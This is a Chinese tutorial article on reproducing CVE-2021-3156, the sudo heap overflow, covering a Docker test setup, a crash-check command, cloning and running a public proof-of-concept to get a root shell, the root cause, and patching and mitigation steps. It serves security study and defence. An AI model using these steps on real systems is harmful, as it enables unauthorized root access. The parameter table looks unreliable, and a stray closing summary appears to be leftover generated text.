怎么进行本地提权漏洞CVE-2021-3156复现

发布时间:2021-12-29 19:05:33 作者:柒染
来源:亿速云 阅读:185
# 怎么进行本地提权漏洞CVE-2021-3156复现

## 一、漏洞概述

CVE-2021-3156是2021年1月曝出的sudo程序堆缓冲区溢出漏洞,由Qualys安全团队发现并命名为"Baron Samedit"。该漏洞影响范围广泛:

- **影响版本**:sudo 1.8.2 - 1.8.31p2及1.9.0 - 1.9.5p1
- **漏洞类型**:基于堆的缓冲区溢出
- **危险等级**:高危(CVSS 7.8)
- **利用条件**:普通用户权限+sudoers文件配置特定参数

## 二、环境准备

### 1. 漏洞环境搭建
推荐使用以下方式快速搭建测试环境:

```bash
# 使用Ubuntu 20.04 LTS
docker pull ubuntu:20.04
docker run -it --name=cve-2021-3156 ubuntu:20.04

# 安装存在漏洞的sudo版本
apt update && apt install -y sudo=1.8.31-1ubuntu1.2

2. 检测漏洞存在性

执行以下命令验证漏洞:

sudoedit -s '\' `perl -e 'print "A" x 65536'`

若返回malloc(): corrupted top size或段错误,则存在漏洞。

三、漏洞复现步骤

1. 获取漏洞利用代码

推荐使用以下PoC(需gcc编译环境):

git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
make

2. 执行漏洞利用

编译后生成exploit可执行文件:

./exploit

成功执行后将获得root权限的shell:

# whoami
root

3. 关键参数说明

参数 作用
-s 指定目标shell路径
-w 指定工作目录
-m 指定权限掩码

四、技术原理分析

漏洞触发流程

  1. 当执行sudoedit -s时,sudo尝试转义命令行参数
  2. set_cmnd()函数中错误处理反斜杠字符
  3. 导致堆缓冲区溢出,覆盖相邻内存结构

内存布局示意图

+---------------------+
|   original chunk    |
+---------------------+
|   overflow data     | ---> 覆盖相邻chunk头部
+---------------------+
|   target chunk      |
+---------------------+

五、防御措施

1. 官方修复方案

升级到以下版本: - sudo >= 1.9.5p2 - 各发行版已发布安全更新:

  # Ubuntu/Debian
  sudo apt update && sudo apt upgrade sudo
  
  # CentOS/RHEL
  sudo yum update sudo

2. 临时缓解方案

如无法立即升级,可通过以下方式缓解:

# 移除sudoedit的SUID位
chmod 0755 /usr/bin/sudoedit

六、注意事项

  1. 复现前务必备份重要数据
  2. 仅在授权环境下测试
  3. 企业环境建议通过漏洞扫描器批量检测
  4. 该漏洞利用可能导致系统不稳定

七、扩展知识

类似历史漏洞

学习资源推荐

  1. Qualys官方分析报告
  2. sudo源码分析
  3. 《Linux二进制漏洞利用实战》

注意:本文仅用于安全研究学习,未经授权不得用于实际渗透测试。根据《网络安全法》相关规定,任何未经授权的漏洞利用行为均属违法。 “`

该文档包含: 1. 完整的漏洞复现流程 2. 技术原理说明 3. 可视化表格和代码块 4. 防御方案和注意事项 5. 扩展学习资源 6. 法律风险提示

可根据实际测试环境调整PoC来源和具体参数,建议在隔离的虚拟机环境中进行测试。

推荐阅读:
  1. Tomcat最新本地提权漏洞
  2. Redhat利用漏洞提权

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

cve-2021-3156

上一篇:SAP CRM系统里的附件存储逻辑怎么理解

下一篇:Microsoft Windows被在野利用的提权漏洞的分析报告是怎样的

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》